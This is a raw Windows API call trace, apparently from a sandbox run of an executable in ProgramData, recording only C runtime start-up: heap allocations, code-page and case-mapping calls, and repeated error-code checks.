[0075.829] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x0, Size=0x220) returned 0xf31578
[0075.829] GetLastError () returned 0x6
[0075.829] SetLastError (dwErrCode=0x6)
[0075.829] IsValidCodePage (CodePage=0x4e4) returned 1
[0075.829] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xefe1bc | out: lpCPInfo=0xefe1bc) returned 1
[0075.829] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xefdc88 | out: lpCPInfo=0xefdc88) returned 1
[0075.829] GetLastError () returned 0x6
[0075.829] SetLastError (dwErrCode=0x6)
[0075.829] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xefe09c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0075.829] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xefe09c, cbMultiByte=256, lpWideCharStr=0xefda08, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ孪\x0eĀ") returned 256
[0075.829] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ孪\x0eĀ", cchSrc=256, lpCharType=0xefdc9c | out: lpCharType=0xefdc9c) returned 1
[0075.829] GetLastError () returned 0x6
[0075.829] SetLastError (dwErrCode=0x6)
[0075.829] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xefe09c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0075.829] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xefe09c, cbMultiByte=256, lpWideCharStr=0xefd9d8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
[0075.829] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
[0075.829] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0xefd7c8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256
[0075.830] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0xefdf9c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿM°\x17sÔáï", lpUsedDefaultChar=0x0) returned 256
[0075.830] GetLastError () returned 0x6
[0075.830] SetLastError (dwErrCode=0x6)
[0075.830] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xefe09c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0075.830] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xefe09c, cbMultiByte=256, lpWideCharStr=0xefd9f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
[0075.830] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
[0075.830] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0xefd7e8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256
[0075.830] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0xefde9c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿM°\x17sÔáï", lpUsedDefaultChar=0x0) returned 256
[0075.830] GetModuleFileNameA (in: hModule=0x0, lpFilename=0xf4320, nSize=0x104 | out: lpFilename="C:\\ProgramData\\35705580001859887656.exe" (normalized: "c:\\programdata\\35705580001859887656.exe")) returned 0x27
[0075.830] GetLastError () returned 0x0
[0075.830] SetLastError (dwErrCode=0x0)
[0075.830] GetLastError () returned 0x0
[0075.830] SetLastError (dwErrCode=0x0)
[0075.830] GetLastError () returned 0x0
[0075.831] SetLastError (dwErrCode=0x0)
[0075.831] GetLastError () returned 0x0
[0075.831] SetLastError (dwErrCode=0x0)
[0075.831] GetLastError () returned 0x0
[0075.831] SetLastError (dwErrCode=0x0)
[0075.831] GetLastError () returned 0x0
[0075.831] SetLastError (dwErrCode=0x0)
[0075.831] GetLastError () returned 0x0
[0075.831] SetLastError (dwErrCode=0x0)
[0075.831] GetLastError () returned 0x0
[0075.831] SetLastError (dwErrCode=0x0)
[0075.831] GetLastError () returned 0x0
[0075.831] SetLastError (dwErrCode=0x0)
[0075.831] GetLastError () returned 0x0
[0075.831] SetLastError (dwErrCode=0x0)
[0075.831] GetLastError () returned 0x0
[0075.831] SetLastError (dwErrCode=0x0)
[0075.831] GetLastError () returned 0x0
[0075.831] SetLastError (dwErrCode=0x0)
[0075.831] GetLastError () returned 0x0
[0075.831] SetLastError (dwErrCode=0x0)
[0075.831] GetLastError () returned 0x0
[0075.832] SetLastError (dwErrCode=0x0)
[0075.832] GetLastError () returned 0x0
[0075.832] SetLastError (dwErrCode=0x0)
[0075.832] GetLastError () returned 0x0
[0075.832] SetLastError (dwErrCode=0x0)
[0075.832] GetLastError () returned 0x0
[0075.832] SetLastError (dwErrCode=0x0)
[0075.832] GetLastError () returned 0x0
[0075.832] SetLastError (dwErrCode=0x0)
[0075.832] GetLastError () returned 0x0
[0075.832] SetLastError (dwErrCode=0x0)
[0075.832] GetLastError () returned 0x0
[0075.832] SetLastError (dwErrCode=0x0)
[0075.832] GetLastError () returned 0x0
[0075.832] SetLastError (dwErrCode=0x0)
[0075.832] GetLastError () returned 0x0
[0075.832] SetLastError (dwErrCode=0x0)
[0075.832] GetLastError () returned 0x0
[0075.832] SetLastError (dwErrCode=0x0)
[0075.832] GetLastError () returned 0x0
[0075.832] SetLastError (dwErrCode=0x0)
[0075.833] GetLastError () returned 0x0
[0075.833] SetLastError (dwErrCode=0x0)
[0075.833] GetLastError () returned 0x0
[0075.833] SetLastError (dwErrCode=0x0)
[0075.833] GetLastError () returned 0x0
[0075.833] SetLastError (dwErrCode=0x0)
[0075.833] GetLastError () returned 0x0
[0075.833] SetLastError (dwErrCode=0x0)
[0075.833] GetLastError () returned 0x0
[0075.833] SetLastError (dwErrCode=0x0)
[0075.833] GetLastError () returned 0x0
[0075.833] SetLastError (dwErrCode=0x0)
[0075.833] GetLastError () returned 0x0
[0075.833] SetLastError (dwErrCode=0x0)
[0075.833] GetLastError () returned 0x0
[0075.833] SetLastError (dwErrCode=0x0)
[0075.833] GetLastError () returned 0x0
[0075.833] SetLastError (dwErrCode=0x0)
[0075.833] GetLastError () returned 0x0
[0075.833] SetLastError (dwErrCode=0x0)
[0075.833] GetLastError () returned 0x0
[0075.834] SetLastError (dwErrCode=0x0)
[0075.834] GetLastError () returned 0x0
[0075.834] SetLastError (dwErrCode=0x0)
[0075.834] GetLastError () returned 0x0
[0075.834] SetLastError (dwErrCode=0x0)
[0075.834] GetLastError () returned 0x0
[0075.834] SetLastError (dwErrCode=0x0)
[0075.834] GetLastError () returned 0x0
[0075.834] SetLastError (dwErrCode=0x0)
[0075.834] GetLastError () returned 0x0
[0075.834] SetLastError (dwErrCode=0x0)
[0075.834] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x0, Size=0x30) returned 0xf317a0
[0075.834] GetLastError () returned 0x0
[0075.834] SetLastError (dwErrCode=0x0)
[0075.834] GetLastError () returned 0x0
[0075.834] SetLastError (dwErrCode=0x0)
[0075.834] GetLastError () returned 0x0
[0075.834] SetLastError (dwErrCode=0x0)
[0075.834] GetLastError () returned 0x0
[0075.835] SetLastError (dwErrCode=0x0)
[0075.835] GetLastError () returned 0x0
[0075.835] SetLastError (dwErrCode=0x0)
[0075.835] GetLastError () returned 0x0
[0075.835] SetLastError (dwErrCode=0x0)
[0075.835] GetLastError () returned 0x0
[0075.835] SetLastError (dwErrCode=0x0)
[0075.835] GetLastError () returned 0x0
[0075.835] SetLastError (dwErrCode=0x0)
[0075.835] GetLastError () returned 0x0
[0075.835] SetLastError (dwErrCode=0x0)
[0075.835] GetLastError () returned 0x0
[0075.835] SetLastError (dwErrCode=0x0)
[0075.835] GetLastError () returned 0x0
[0075.835] SetLastError (dwErrCode=0x0)
[0075.835] GetLastError () returned 0x0
[0075.835] SetLastError (dwErrCode=0x0)
[0075.835] GetLastError () returned 0x0
[0075.835] SetLastError (dwErrCode=0x0)
[0075.835] GetLastError () returned 0x0
[0075.835] SetLastError (dwErrCode=0x0)
[0075.836] GetLastError () returned 0x0
[0075.836] SetLastError (dwErrCode=0x0)
[0075.836] GetLastError () returned 0x0
[0075.836] SetLastError (dwErrCode=0x0)
[0075.836] GetLastError () returned 0x0
[0075.836] SetLastError (dwErrCode=0x0)
[0075.836] GetLastError () returned 0x0
[0075.836] SetLastError (dwErrCode=0x0)
[0075.836] GetLastError () returned 0x0
[0075.836] SetLastError (dwErrCode=0x0)
[0075.836] GetLastError () returned 0x0
[0075.836] SetLastError (dwErrCode=0x0)
[0075.836] GetLastError () returned 0x0
[0075.836] SetLastError (dwErrCode=0x0)
[0075.836] GetLastError () returned 0x0
[0075.836] SetLastError (dwErrCode=0x0)
[0075.836] GetLastError () returned 0x0
[0075.836] SetLastError (dwErrCode=0x0)
[0075.836] GetLastError () returned 0x0
[0075.836] SetLastError (dwErrCode=0x0)
[0075.836] GetLastError () returned 0x0
[0075.837] SetLastError (dwErrCode=0x0)
[0075.837] GetLastError () returned 0x0
[0075.837] SetLastError (dwErrCode=0x0)
[0075.837] GetLastError () returned 0x0
[0075.837] SetLastError (dwErrCode=0x0)
[0075.837] GetLastError () returned 0x0
[0075.837] SetLastError (dwErrCode=0x0)
[0075.837] GetLastError () returned 0x0
[0075.837] SetLastError (dwErrCode=0x0)
[0075.837] GetLastError () returned 0x0
[0075.837] SetLastError (dwErrCode=0x0)
[0075.837] GetLastError () returned 0x0
[0075.837] SetLastError (dwErrCode=0x0)
[0075.837] GetLastError () returned 0x0
[0075.837] SetLastError (dwErrCode=0x0)
[0075.837] GetLastError () returned 0x0
[0075.837] SetLastError (dwErrCode=0x0)
[0075.837] GetLastError () returned 0x0
[0075.837] SetLastError (dwErrCode=0x0)
[0075.837] GetLastError () returned 0x0
[0075.837] SetLastError (dwErrCode=0x0)
[0075.838] GetLastError () returned 0x0
[0075.838] SetLastError (dwErrCode=0x0)
[0075.838] GetLastError () returned 0x0
[0075.838] SetLastError (dwErrCode=0x0)
[0075.838] GetLastError () returned 0x0
[0075.838] SetLastError (dwErrCode=0x0)
[0075.838] GetLastError () returned 0x0
[0075.838] SetLastError (dwErrCode=0x0)
[0075.838] GetLastError () returned 0x0
[0075.838] SetLastError (dwErrCode=0x0)
[0075.838] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x98) returned 0xf317d8
[0075.838] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x1f) returned 0xf31878
[0075.838] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x2e) returned 0xf318a0
[0075.838] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x37) returned 0xf318d8
[0075.838] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x3c) returned 0xf31918
[0075.838] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x31) returned 0xf31960
[0075.838] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x14) returned 0xf319a0
[0075.838] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x24) returned 0xf319c0
[0075.838] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x31) returned 0xf319f0
[0075.838] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x28) returned 0xf31a30
[0075.838] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0xd) returned 0xf31a60
[0075.838] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x1d) returned 0xf31a78
[0075.838] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x31) returned 0xf31aa0
[0075.838] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x15) returned 0xf31ae0
[0075.838] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x17) returned 0xf31b00
[0075.838] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0xe) returned 0xf31b20
[0075.838] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0xa2) returned 0xf31b38
[0075.838] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x3e) returned 0xf31be8
[0075.838] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x1b) returned 0xf31c30
[0075.839] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x1d) returned 0xf31c58
[0075.839] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x49) returned 0xf31c80
[0075.839] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x12) returned 0xf31cd8
[0075.839] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x18) returned 0xf31cf8
[0075.839] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x1b) returned 0xf31d18
[0075.839] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x24) returned 0xf31d40
[0075.839] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x29) returned 0xf31d70
[0075.839] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x1e) returned 0xf31da8
[0075.839] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x6b) returned 0xf31dd0
[0075.839] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x17) returned 0xf31e48
[0075.839] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0xf) returned 0xf31e68
[0075.839] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x16) returned 0xf31e80
[0075.839] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x2a) returned 0xf31ea0
[0075.839] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x29) returned 0xf31ed8
[0075.839] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x12) returned 0xf31f10
[0075.839] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x21) returned 0xf31f30
[0075.839] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x16) returned 0xf31f60
[0075.839] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x22) returned 0xf31f80
[0075.839] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x12) returned 0xf31fb0
[0075.840] HeapFree (in: hHeap=0xf30000, dwFlags=0x0, lpMem=0xf307c8 | out: hHeap=0xf30000) returned 1
[0075.841] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x80) returned 0xf307c8
[0075.841] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x800) returned 0xf31fd0
[0075.841] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
[0075.841] RtlSizeHeap (HeapHandle=0xf30000, Flags=0x0, MemoryPointer=0xf307c8) returned 0x80
[0075.848] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x0, Size=0x50) returned 0xf30850
[0075.849] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x0, Size=0x2c) returned 0xf308a8
[0075.850] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x0, Size=0x100) returned 0xf308e0
[0075.850] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x0, Size=0x1c) returned 0xf309e8
